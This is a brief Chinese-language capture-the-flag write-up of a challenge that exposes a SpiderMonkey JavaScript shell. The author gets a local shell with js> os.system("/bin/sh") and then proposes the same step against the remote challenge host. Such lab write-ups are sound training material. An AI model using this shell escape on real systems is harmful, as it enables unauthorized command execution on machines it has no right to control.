运行js文件出现了js>
,像是命令执行行,所以尝试
kk@ubuntu:~/Desktop/black/GFSJ/monkey$ ./js
js> ls
typein:1:1 ReferenceError: ls is not defined
Stack:
@typein:1:1
js>
不得行啊,这个js更像是JavaScript的...触及知识盲区,就查看了writeup
考察jsshell==>Introduction_to_the_JavaScript_shell
wp让测试的命令输出太多东西了,找不到它指引的.... 但是这个os.system()很有用
我们测试一下写入参数"/bin/sh"
js> os.system("/bin/sh")
$ ls
js libnspr4.so libplc4.so libplds4.so
成功getshell
下面远程尝试即可
网友评论